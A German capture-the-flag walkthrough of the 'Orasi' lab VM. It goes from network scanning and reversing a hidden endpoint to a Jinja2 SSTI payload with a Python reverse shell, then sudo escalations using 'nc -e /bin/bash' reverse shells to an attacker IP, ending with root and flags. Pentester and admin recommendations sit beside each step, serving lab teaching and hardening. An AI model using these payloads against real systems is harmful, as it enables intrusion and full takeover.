192.168.2.158 08:00:27:19:c0:bf PCS Systemtechnik GmbH
Analyse:** Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment durch ARP-Anfragen nach aktiven Hosts zu durchsuchen.
**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.158` wird gefunden. Die MAC-Adresse (`08:00:27:...`) weist auf eine VirtualBox VM hin.
**Empfehlung (Pentester):** Notieren Sie die IP `192.168.2.158` und fahren Sie mit Port-Scans (Nmap) fort.
**Empfehlung (Admin):** Standard-Netzwerkaufklärung. Fokus auf Absicherung der Dienste.
Starting Nmap 7.93 ( https://nmap.org ) at [Datum/Zeit nicht im Log] Nmap scan report for [Hostname nicht im Log] (192.168.2.144) <-- Annahme: .144 ist das korrekte Ziel --> Host is up ([...]s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 <-- FTP offen 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.7.3) <-- Python/Werkzeug Server! |_http-title: 404 Not Found |_http-server-header: Werkzeug/1.0.1 Python/3.7.3 [...] (SSH host keys, OS details etc. nicht relevant für den direkten Exploit-Pfad)
**Analyse:** Ein Nmap-Scan wird auf die IP `192.168.2.144` durchgeführt (*Anmerkung: Die IP weicht von der ARP-Scan-Ausgabe ab. Es wird angenommen, dass .144 das korrekte Ziel ist.*). Verwendet werden: SYN-Scan (`-sS`), Standard-Skripte (`-sC`), schnelles Timing (`-T5`), Aggressiver Scan (`-A`), alle Ports (`-p-`).
**Bewertung:** Vier offene TCP-Ports werden gefunden: * **Port 21 (FTP):** vsftpd 3.0.3. Potenzielle Angriffsfläche (Anonymes Login? Schwache Passwörter?). * **Port 22 (SSH):** OpenSSH 7.9p1. Standard-Fernzugriff. * **Port 80 (HTTP):** Apache 2.4.38. Standard-Webserver. * **Port 5000 (HTTP):** Ein Python-Webserver basierend auf dem Werkzeug-Framework (Version 1.0.1, Python 3.7.3). Gibt bei Zugriff auf die Wurzel einen "404 Not Found" zurück. Dies ist ein sehr interessantes Ziel, da benutzerdefinierte Webanwendungen oft Schwachstellen enthalten.
**Empfehlung (Pentester):**
1. **Port 5000 (Priorität 1):** Untersuchen Sie die Werkzeug/Python-Anwendung intensiv. Führen Sie Verzeichnis- und Parameter-Fuzzing durch. Suchen Sie nach Hinweisen auf die Funktionalität oder API-Endpunkte.
2. **Port 21 (Priorität 2):** Prüfen Sie auf anonymes FTP-Login (`lftp -u anonymous, 192.168.2.144`).
3. **Port 80 (Priorität 3):** Führen Sie grundlegende Web-Enumeration durch (Gobuster).
4. **Port 22 (Priorität 4):** Halten Sie nach Benutzernamen Ausschau.
**Empfehlung (Admin):** Überprüfen und härten Sie alle laufenden Dienste. Stellen Sie sicher, dass die Python-Webanwendung auf Port 5000 sicher entwickelt wurde und keine bekannten Schwachstellen in Werkzeug 1.0.1 oder dem verwendeten Python 3.7.3 enthält. Beschränken Sie den Zugriff auf nicht benötigte Ports.
=============================================================== Gobuster v3.1.0 [...] =============================================================== [+] Url: http://192.168.2.144 [...] =============================================================== [... Zeitstempel ...] Starting gobuster =============================================================== /index.html (Status: 200) [Size: 70] /server-status (Status: 403) [Size: 278] <-- Verboten, aber existiert --> [...] (Keine weiteren relevanten Funde im Log) =============================================================== [... Zeitstempel ...] Finished ===============================================================
=
**Analyse:** Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Apache-Server (Port 80) zu finden.
**Bewertung:** Der Scan findet nur die Standard-`index.html` (mit sehr kleiner Größe, 70 Bytes) und einen `/server-status`-Endpunkt, der aber nicht zugänglich ist (Status 403 Forbidden). Der Apache-Server scheint keine signifikante Angriffsfläche zu bieten.
**Empfehlung (Pentester):** Port 80 de-priorisieren. Konzentration auf Port 21 (FTP) und Port 5000 (Python/Werkzeug).
**Empfehlung (Admin):** Stellen Sie sicher, dass `/server-status` (falls aktiviert) nur von autorisierten IPs zugänglich ist. Entfernen Sie unnötige Dateien vom Web-Root.
lftp anonymous@192.168.2.144:~><-- Login erfolgreich -->
**Analyse:** Es wird versucht, sich mittels `lftp` anonym am FTP-Server (Port 21) anzumelden.
**Bewertung:** Der anonyme Login ist erfolgreich, wie bereits von Nmap vermutet. Der Prompt `lftp anonymous@192.168.2.144:~>` wird angezeigt.
**Empfehlung (Pentester):** Führen Sie Befehle wie `ls -la`, `find` aus, um den Inhalt des FTP-Servers zu untersuchen. Prüfen Sie auf Lese- oder Schreibrechte. Suchen Sie nach interessanten Dateien (Konfigurationen, Skripte, Backups).
**Empfehlung (Admin):** Deaktivieren Sie anonymen FTP-Zugriff, wenn nicht unbedingt erforderlich. Wenn benötigt, beschränken Sie die Rechte und den zugänglichen Verzeichnisbaum strikt.
[... Keine Ergebnisse ...]
[... Keine Ergebnisse ...]
#
**Analyse:** Zwei `wfuzz`-Befehle werden ausgeführt: 1. Der erste versucht, virtuelle Hosts für `orasi.vm` zu finden, indem der Host-Header gefuzzt wird. Ergebnisse mit Status 400 oder 7 Zeilen Länge werden ignoriert. 2. Der zweite versucht, Dateien/Verzeichnisse unter `http://orasi.vm/` zu finden, wobei sowohl der Pfad (`FUZZ`) als auch die Erweiterung (`FUZSZ` - wahrscheinlich ein Tippfehler, sollte `FUZZ` sein) gefuzzt werden. 404 und 403 werden ignoriert. *Anmerkung: Der Hostname `orasi.vm` wurde zuvor nicht eingeführt oder aufgelöst. Es ist unklar, ob dies ein Tippfehler ist oder ob ein entsprechender `/etc/hosts`-Eintrag für `192.168.2.144` gemacht wurde.*
**Bewertung:** Beide Scans liefern keine Ergebnisse (basierend auf der leeren Ausgabe). Weder VHosts noch interessante Pfade/Dateien unter `orasi.vm` (oder der IP) wurden auf diese Weise gefunden.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf die Analyse der Dienste, die definitiv existieren und erreichbar sind (FTP, Python/Werkzeug auf Port 5000).
**Empfehlung (Admin):** Keine spezifische Aktion.
**Analyse:** Nachdem die Standard-Enumeration wenig ergab, wird die Python/Werkzeug-Anwendung auf Port 5000 genauer untersucht, vermutlich durch Reverse Engineering oder das Finden versteckter Pfade/Funktionen.
; Attributes: bp-based frame
; int __cdecl main(int argc, const char argv, const char envp)
public main
main proc near
; __unwind {
push rbp
mov rbp, rsp
mov edi, 8 ; size
call _malloc
mov cs:init, rax
mov rax, cs:init
mov byte ptr [rax], 6Fh ; 'o' <-- Startet mit 'o'? -->
mov rax, cs:init
mov dword ptr [rax+4], 0FFFFFFFFh
mov esi, 2Fh ; '/'
mov edi, 1
call insert
mov esi, 73h ; 's'
mov edi, 2
call insert
mov esi, 68h ; 'h'
mov edi, 2Ah ; '*'
call insert
mov esi, 34h ; '4'
mov edi, 4
call insert
mov esi, 64h ; 'd'
mov edi, 0Ch
call insert
mov esi, 30h ; '0'
mov edi, 0Eh
call insert
mov esi, 77h ; 'w'
mov edi, 11h
call insert
mov esi, 24h ; '$'
mov edi, 12h
call insert
mov esi, 73h ; 's'
mov edi, 13h
call insert
lea rdi, s ; "Sometimes things are not obvious"
call _puts
[...]
*
**Analyse:** Dieser Code-Schnipsel (vermutlich Assembler/Disassembly aus IDA Pro oder Ghidra) beschreibt die `main`-Funktion einer analysierten Binärdatei. *Der Ursprung dieser Binärdatei (wurde sie vom FTP heruntergeladen?) ist im Log nicht ersichtlich.* Die Funktion scheint dynamisch einen String zu konstruieren, indem sie Zeichen an verschiedenen Positionen einfügt (über eine `insert`-Funktion). Die eingefügten Zeichen (Hex-Werte in Kommentaren interpretiert) sind: `/`, `s`, `h`, `4`, `d`, `0`, `w`, `$`, `s`. Am Ende wird der String "Sometimes things are not obvious" ausgegeben.
**Bewertung:** Der rekonstruierte String ist wahrscheinlich `/s*h4d0w$s`. Das Sternchen (`*`) und das Dollarzeichen (`$`) sind Sonderzeichen in URLs und Shells und müssen oft kodiert oder escaped werden. Dies ist mit hoher Wahrscheinlichkeit ein versteckter Pfad oder Endpunkt für die Webanwendung auf Port 5000.
**Empfehlung (Pentester):** Versuchen Sie, diesen Pfad auf dem Server auf Port 5000 aufzurufen. Achten Sie auf das Escaping/Encoding der Sonderzeichen: `http://192.168.2.144:5000/sh4d0w\$s` (Shell-Escaping für `$`) oder `http://192.168.2.144:5000/s%2Ah4d0w%24s` (URL-Encoding).
**Empfehlung (Admin):** Vermeiden Sie Obfuskation als Sicherheitsmechanismus. Sichern Sie Endpunkte durch Authentifizierung und Autorisierung, anstatt sie nur zu verstecken.
No input
=
**Analyse:** Der rekonstruierte Pfad `/sh4d0w$s` wird mittels `curl` auf Port 5000 des Ziels (`orasi.vm`, was vermutlich auf `192.168.2.144` auflöst) aufgerufen. Das `$` wird mit einem Backslash escaped, damit die lokale Shell es nicht interpretiert.
**Bewertung:** Der Pfad existiert, gibt aber die Meldung "No input" zurück. Dies deutet darauf hin, dass der Endpunkt einen Parameter erwartet.
**Empfehlung (Pentester):** Fuzzen Sie nach gültigen GET- oder POST-Parametern für diesen Endpunkt (`/sh4d0w$s`).
**Empfehlung (Admin):** Sichern Sie den Endpunkt.
**Analyse:** Lokale Befehle auf der Angreifer-Maschine zum Einrichten und Starten von IDA Pro (einem Disassembler/Debugger).
**Bewertung:** Bestätigt die Verwendung von Reverse-Engineering-Tools zur Analyse der Binärdatei, die den Pfad `/sh4d0w$s` enthielt.
**Empfehlung (Pentester):** Keine.
**Empfehlung (Admin):** Keine.
[...] (crunch generiert Passwörter)
=
**Analyse:** Das Tool `crunch` wird verwendet, um eine Passwortliste (`pass.txt`) zu generieren. Es erzeugt alle möglichen 6-stelligen Kombinationen aus dem Zeichensatz `1337leet`.
**Bewertung:** Diese spezifische Wortliste deutet darauf hin, dass der Pentester vermutet oder weiß, dass der gesuchte Parameter am Endpunkt `/sh4d0w$s` ein 6-stelliges Passwort aus diesen Zeichen ist.
**Empfehlung (Pentester):** Verwenden Sie die generierte `pass.txt`, um GET-Parameter für den Endpunkt `/sh4d0w$s` zu fuzzen.
**Empfehlung (Admin):** Vermeiden Sie schwache oder leicht zu erratende Parameter-/Passwortschemata.
[...] Target: http://orasi.vm:5000/sh4d0w$s?FUZZ=id Total requests: [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000024912: 200 0 L 1 W 2 Ch "l333tt" <-- Parameter gefunden! --> ===================================================================== [...]
=
**Analyse:** `wfuzz` wird verwendet, um nach einem gültigen GET-Parameter für den Endpunkt `/sh4d0w$s` zu suchen. Es iteriert durch die zuvor mit `crunch` erstellte Passwortliste (`pass.txt`) und testet jeden Eintrag als Parameternamen (`FUZZ`). Der Wert des Parameters ist fest auf `id` gesetzt (um zu sehen, ob dieser Befehl ausgeführt wird). Antworten mit 8 Zeichen (`--hh 8`, was der Länge von "No input" entspricht) werden ausgeblendet.
**Bewertung:** Der Scan ist erfolgreich! Er findet heraus, dass der Parametername `l333tt` eine Antwort mit einer anderen Länge (2 Zeichen) als "No input" erzeugt. Dies ist der gesuchte Parameter.
**Empfehlung (Pentester):** Testen Sie den Endpunkt nun mit dem gefundenen Parameter `l333tt` und verschiedenen Werten (Befehlen), um die Funktionalität zu bestätigen.
**Empfehlung (Admin):** Sichern Sie den Endpunkt ab.
[...] l333tt [Status: 200, Size: 33, Words: 1, Lines: 1, Duration: 29ms] <-- Bestätigung mit ffuf --> [...]
=
**Analyse:** Hier wird `ffuf` (ein alternatives Fuzzing-Tool) verwendet, um das Ergebnis von `wfuzz` zu bestätigen. Es fuzzt ebenfalls den Parameternamen (`FUZZ`) mit der `pass.txt`-Liste und filtert Antworten mit der Größe 8 (`-fs 8`, entspricht "No input") heraus.
**Bewertung:** `ffuf` bestätigt, dass der Parameter `l333tt` eine andere Antwortgröße (33 Bytes) liefert.
**Empfehlung (Pentester):** Gleiche Empfehlung wie nach dem `wfuzz`-Scan: Testen Sie den Parameter `l333tt`.
**Empfehlung (Admin):** Keine zusätzliche Aktion.
id<-- Befehl wird nur als Text zurückgegeben? -->
35 <-- Erfolgreiche Ausführung! -->
**Analyse:** Zwei `curl`-Anfragen werden gesendet: 1. `...?l333tt=id`: Sendet den Befehl `id` als Wert des Parameters `l333tt`. Die Antwort ist nur der String "id", nicht die Ausgabe des Befehls. 2. `...?l333tt={{7*5}}`: Sendet einen einfachen mathematischen Ausdruck (`7*5`) in der Syntax einer Template Engine (wahrscheinlich Jinja2, da Python/Werkzeug verwendet wird).
**Bewertung:** Die erste Anfrage zeigt, dass keine direkte Command Injection vorliegt (der `id`-Befehl wurde nicht ausgeführt). Die zweite Anfrage ist jedoch erfolgreich! Die Antwort ist `35`, das Ergebnis der Berechnung `7*5`. Dies bestätigt eine **Server-Side Template Injection (SSTI)** Schwachstelle. Der Wert des Parameters `l333tt` wird als Template interpretiert und auf dem Server ausgeführt.
**Empfehlung (Pentester):** SSTI ist oft ein Weg zu Remote Code Execution. Konstruieren Sie einen SSTI-Payload für Jinja2/Python, der eine Reverse Shell oder einen anderen Befehl ausführt. Recherchieren Sie gängige SSTI-Payloads für Jinja2.
**Empfehlung (Admin):** Beheben Sie die SSTI-Schwachstelle dringend! Verwenden Sie Template Engines sicher, indem Sie Benutzereingaben niemals direkt als Templates rendern lassen. Sanitisieren oder validieren Sie alle Eingaben, die in Templates verwendet werden.
http://orasi.vm:5000/sh4d0w$s?l333tt={% raw %}{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.140\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\");'").read()}}{%endif%}{% endfor %}{% endraw %} <-- URL-kodiert im Log -->
=
**Analyse:** Dies ist der konstruierte SSTI-Payload, der als Wert für den `l333tt`-Parameter übergeben wird (im Log als URL angezeigt, hier zur Lesbarkeit dekodiert und mit Jinja2-Tags `{%%}` statt `{% raw %}{% endraw %}` dargestellt): ```jinja2 {% for x in ().__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{ x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.140\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\");'").read() }} {% endif %} {% endfor %} Html Dieser Payload nutzt Python-Introspektion (.__class__.__base__.__subclasses__()), um auf eingebaute Module zuzugreifen. Er sucht nach einer Klasse, die "warning" im Namen enthält (ein gängiger Trick, um eine nutzbare Klasse zu finden), greift dann auf die Builtins zu, importiert das os-Modul und führt über popen() einen Python3-Befehl aus, der eine Reverse Shell zur Angreifer-IP 192.168.2.140 auf Port 4444 startet.
Bewertung: Ein komplexer, aber standardmäßiger SSTI-Payload für Jinja2/Python, um RCE zu erlangen und eine Reverse Shell aufzubauen.
Empfehlung (Pentester): Starten Sie einen Listener auf 192.168.2.140:4444. Senden Sie diesen Payload (URL-kodiert) an den Endpunkt http://192.168.2.144:5000/sh4d0w\$s?l333tt=[Payload].
Empfehlung (Admin): Beheben Sie die SSTI-Schwachstelle.
**Kurzbeschreibung:** Die Python/Werkzeug-Anwendung auf Port 5000 enthält einen versteckten Endpunkt `/sh4d0w$s`. Dieser Endpunkt erwartet einen GET-Parameter namens `l333tt`. Der Wert dieses Parameters wird unsicher als Jinja2-Template auf dem Server gerendert. Dies ermöglicht Server-Side Template Injection (SSTI). Ein Angreifer kann speziell gestaltete Payloads über den `l333tt`-Parameter senden, um Python-Code auf dem Server auszuführen und somit Remote Code Execution (RCE) im Kontext des `www-data`-Benutzers zu erlangen.
**Voraussetzungen:** Netzwerkzugriff auf Port 5000, Kenntnis des Endpunkts und des Parameters, ein gültiger SSTI-Payload.
**Schritt-für-Schritt-Anleitung:**
**Erwartetes Ergebnis:** Der Server führt den Payload aus und verbindet sich zurück zum Listener des Angreifers, wodurch eine Shell als `www-data` erlangt wird.
**Beweismittel:** Der konstruierte Payload und der erfolgreiche Empfang der Reverse Shell im nächsten Abschnitt.
**Risikobewertung:** Kritisch. SSTI führt direkt zu RCE und ermöglicht die vollständige Übernahme des Webserver-Prozesses.
**Empfehlungen:** Beheben Sie die SSTI-Schwachstelle, indem Benutzereingaben niemals direkt als Templates gerendert werden. Verwenden Sie sichere Template-Konfigurationen und sanitisieren Sie alle Eingaben.
listening on [any] 4444 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.144] 57456 <-- Verbindung von SSTI! -->
Analyse: Der Netcat-Listener auf Port 4444 empfängt die eingehende Verbindung vom Zielsystem, ausgelöst durch den SSTI-Payload. Eine Shell als www-data wird erhalten.
Bewertung: Initialer Zugriff erfolgreich über SSTI und RCE.
Empfehlung (Pentester): Shell stabilisieren.
Empfehlung (Admin): SSTI-Schwachstelle beheben.
*(Shell-Stabilisierungsschritte werden hier übersprungen, da sie Standard sind)*
root:x:0:0:root:/root:/bin/bash irida:x:1000:1000:irida,,,:/home/irida:/bin/bash kori:x:1001:1001::/home/kori:/bin/sh <-- Eingeschränkte Shell? -->
=
Analyse: Als www-data wird /etc/passwd ausgelesen, um Benutzer mit Login-Shells zu finden.
Bewertung: Identifiziert die Benutzer irida (mit /bin/bash) und kori (mit /bin/sh).
Empfehlung (Pentester): Untersuchen Sie Privilegieneskalationsmöglichkeiten, die auf diese Benutzer abzielen.
Empfehlung (Admin): Keine.
**Analyse:** Es wird versucht, Rechte zum Benutzer `kori` zu eskalieren. Dies geschieht über eine (im Log nicht gezeigte) Sudo-Regel, die `www-data` erlaubt, ein PHP-Skript (`/home/kori/jail.php`) als `kori` auszuführen.
sudo -u kori /bin/php /home/kori/jail.php socat TCP:192.168.2.140:9002 <-- Versuch 1 (socat) -->
$ nc -e /bin/bash 192.168.2.140 9002 <-- Versuch 3 (nc -e) -->
=
**Analyse:** Mehrere Versuche, die Sudo-Regel für `/home/kori/jail.php` auszunutzen. . Es wird angenommen, dass sudo -l für www-data eine Regel wie (kori) NOPASSWD: /bin/php /home/kori/jail.php ergeben hat. Das Skript jail.php nimmt offenbar Argumente entgegen und führt sie unsicher aus (z.B. via exec() oder system()). Versuch 1: Übergibt einen socat-Befehl, um eine Verbindung herzustellen. Versuch 2: Übergibt dash -i, um eine interaktive Dash-Shell zu starten. Versuch 3: Übergibt nc -e /bin/bash ..., um eine Reverse Shell zu starten.
Bewertung: Der dritte Versuch (nc -e /bin/bash ...) scheint erfolgreich zu sein, da im nächsten Schritt eine Verbindung auf Port 9002 empfangen wird. Das PHP-Skript jail.php ist anfällig für Command Injection über seine Argumente, und da es via sudo als kori läuft, werden die Befehle als kori ausgeführt.
Empfehlung (Pentester): Starten Sie einen Listener auf Port 9002, bevor Sie den nc -e-Payload ausführen.
Empfehlung (Admin): Entfernen Sie die unsichere Sudo-Regel. Korrigieren Sie das jail.php-Skript, um Command Injection zu verhindern (validieren/sanitisieren von Argumenten, keine unsicheren Ausführungsfunktionen verwenden).
listening on [any] 9002 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.144] 37254 <-- Verbindung als kori! --> id uid=1001(kori) gid=1001(kori) groups=1001(kori)
=
Analyse: Der Netcat-Listener auf Port 9002 empfängt die Verbindung, ausgelöst durch den nc -e-Payload im jail.php-Exploit. Der id-Befehl bestätigt, dass die Shell als Benutzer kori (UID 1001) läuft.
Bewertung: Erfolgreiche Eskalation von www-data zu kori über die unsichere Sudo-Regel und das verwundbare PHP-Skript.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Führen Sie Enumeration als kori durch.
Empfehlung (Admin): Beheben Sie die Sudo-Regel und das jail.php-Skript.
**Analyse:** Als Benutzer `kori` wird nach Wegen zur Eskalation zu `irida` gesucht. Dies beinhaltet das Finden und Reverse Engineering einer Android-APK-Datei.
Analyse: Lokale Installation von jd-gui, einem Java-Decompiler, auf der Angreifer-Maschine.
Bewertung: Vorbereitung für die Analyse einer .jar- oder .apk-Datei.
[...] 2022-09-12 00:14:35 (288 MB/s) - irida.apk gespeichert [4083889/4083889]
Analyse: Eine Android-App-Datei (irida.apk) wird von Port 9005 des Zielsystems heruntergeladen. Der Ursprung dieses Dienstes auf Port 9005 ist im Log nicht ersichtlich (Nmap hat ihn nicht gefunden).
Bewertung: Das Finden einer APK-Datei, benannt nach dem Benutzer irida, ist ein starker Hinweis. Sie enthält wahrscheinlich Code oder Informationen, die für die Eskalation relevant sind.
Empfehlung (Pentester): Analysieren Sie die irida.apk-Datei mit Reverse-Engineering-Tools.
Empfehlung (Admin): Untersuchen Sie den unbekannten Dienst auf Port 9005 und deaktivieren Sie ihn, wenn er unnötig oder unsicher ist. Speichern Sie keine sensiblen Informationen in APK-Dateien.
Analyse: Schritte zur Analyse der irida.apk auf der Angreifer-Maschine: unzip: Entpackt den Inhalt der APK-Datei. jd-gui irida.apk: Erster Versuch, die APK direkt zu dekompilieren (kann manchmal funktionieren). apt install dex2jar: Installation von dex2jar. d2j-dex2jar classes.dex: Konvertiert die classes.dex-Datei (enthält den Android-Bytecode) aus der entpackten APK in eine .jar-Datei. jd-gui classes-dex2jar.jar: Dekompiliert die resultierende .jar-Datei mit jd-gui, um den Java-Quellcode anzuzeigen.
Bewertung: Standardverfahren zum Reverse Engineering von Android-APKs. Die Analyse des dekompilierten Codes (nicht im Log gezeigt) muss das Passwort ergeben haben.
Empfehlung (Pentester): Suchen Sie im dekompilierten Code nach hartkodierten Zugangsdaten, API-Schlüsseln, Logikfehlern oder anderen Hinweisen.
Empfehlung (Admin): Verwenden Sie Code-Obfuskation (z.B. ProGuard/R8) für Android-Apps und speichern Sie niemals sensible Daten direkt im Code.
Password: eye.of.the.tiger() <-- Passwort aus APK-Analyse -->
**Analyse:** Aus der Shell von `kori` (trotz des `www-data`-Prompts im Log) wird der Befehl `su irida` ausgeführt, um zum Benutzer `irida` zu wechseln. Das Passwort `eye.of.the.tiger()`, das durch die Analyse der `irida.apk` gefunden wurde, wird eingegeben.
**Bewertung:** Der Benutzerwechsel ist erfolgreich! Der Angreifer agiert nun als `irida`. Die Eskalation von `kori` zu `irida` ist abgeschlossen.
**Empfehlung (Pentester):** Führen Sie `id` und `cat user.txt` aus. Suchen Sie nach Wegen zur Root-Eskalation (`sudo -l` etc.).
**Empfehlung (Admin):** Ändern Sie das Passwort von `irida`. Entfernen Sie das Passwort aus der APK.
irida.apk user.txt
2afb9cbb10c22dc7e154a8c434595948 <-- User Flag -->
#
**Analyse:** Als `irida` wird das Home-Verzeichnis aufgelistet und die Datei `user.txt` ausgelesen.
**Bewertung:** Die User-Flag (`2afb9cbb10c22dc7e154a8c434595948`) wurde gefunden.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf die Eskalation zu Root.
**Empfehlung (Admin):** Keine.
**Analyse:** Als Benutzer `irida` wird der letzte Schritt zur Erlangung von Root-Rechten gesucht. Dies scheint über ein Python-Skript (`/root/oras.py`) zu führen, das via `sudo` ausgeführt werden kann.
python3 -c 'print(b"hello".hex())' | sudo python3 /root/oras.py <-- Testaufruf --> python3 -c "print(b"import('os').system('nc -e /bin/bash 192.168.2.140 9006')".hex())" | sudo python3 /root/oras.py <-- Exploit-Payload -->
*
Analyse: Zwei Befehle werden vorbereitet/gezeigt: Ein Testaufruf: Der String "hello" wird hex-kodiert (print(b"hello".hex())) und das Ergebnis über eine Pipe an sudo python3 /root/oras.py übergeben. Dies impliziert, dass sudo -l für irida eine Regel wie (root) NOPASSWD: /usr/bin/python3 /root/oras.py ergeben hat. Der Exploit-Payload: Ein Python-Befehl, der eine nc -e /bin/bash Reverse Shell zu 192.168.2.140:9006 startet, wird hex-kodiert (print(b"payload".hex())) und soll dann ebenfalls an sudo python3 /root/oras.py übergeben werden. Das Skript /root/oras.py nimmt offenbar hex-kodierte Python-Befehle als Standardeingabe entgegen, dekodiert sie und führt sie mittels python3 (und damit als root wegen sudo) aus.
Bewertung: Eine klare Schwachstelle: Ein Skript, das via sudo als Root läuft, nimmt Benutzereingaben (wenn auch hex-kodiert) entgegen und führt sie als Code aus. Dies erlaubt beliebige Code-Ausführung als Root.
Empfehlung (Pentester): Starten Sie einen Listener auf 192.168.2.140:9006. Führen Sie den zweiten Befehl (Exploit-Payload) in der irida-Shell aus.
Empfehlung (Admin): Entfernen Sie diese extrem unsichere Sudo-Regel und das Skript /root/oras.py. Führen Sie niemals Skripte über Sudo aus, die unsanitisierte Benutzereingaben als Code interpretieren.
listening on [any] 9006 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.144] 54564 <-- Root-Shell erhalten! --> id uid=0(root) gid=0(root) groups=0(root) pwd /var/www/html cd ~ pwd /root ls -la total 52 drwx------ 6 root root 4096 Feb 11 2021 . drwxr-xr-x 18 root root 4096 Feb 11 2021 .. -rw------- 1 root root 4305 Feb 11 2021 .bash_history -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 3 root root 4096 Feb 11 2021 .cache drwxr-xr-x 2 root root 4096 Feb 11 2021 .cron drwx------ 3 root root 4096 Feb 11 2021 .gnupg drwxr-xr-x 3 root root 4096 Feb 11 2021 .local -rwx------ 1 root root 126 Feb 11 2021 oras.py <-- Das verwundbare Skript --> -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw------- 1 root root 33 Feb 11 2021 root.txt -rw-r--r-- 1 root root 180 Feb 11 2021 .wget-hsts cat root.txt b1c17c79773c831cbb9109802059c6b5 <-- Root Flag -->
Analyse: Der Netcat-Listener auf Port 9006 empfängt die Verbindung, ausgelöst durch den Exploit von /root/oras.py. Der id-Befehl bestätigt Root-Rechte (uid=0). Anschließend wird in das /root-Verzeichnis gewechselt, der Inhalt aufgelistet (wobei oras.py und root.txt sichtbar sind) und die Root-Flag (b1c17c79773c831cbb9109802059c6b5) ausgelesen.
Bewertung: Root-Zugriff erfolgreich erlangt durch Ausnutzung der unsicheren Sudo-Regel und des oras.py-Skripts.
Empfehlung (Pentester): Ziel erreicht.
Empfehlung (Admin): System vollständig kompromittiert. Incident Response durchführen. Unsichere Sudo-Regel und Skript entfernen.
cat user.txt 2afb9cbb10c22dc7e154a8c434595948
*
Analyse: Die User-Flag wird (erneut?) ausgelesen.
Bewertung: Bestätigt die User-Flag.
**Analyse:** Zusammenfassung der gefundenen Flags.
**Bewertung:** User-Flag.
**Bewertung:** Root-Flag.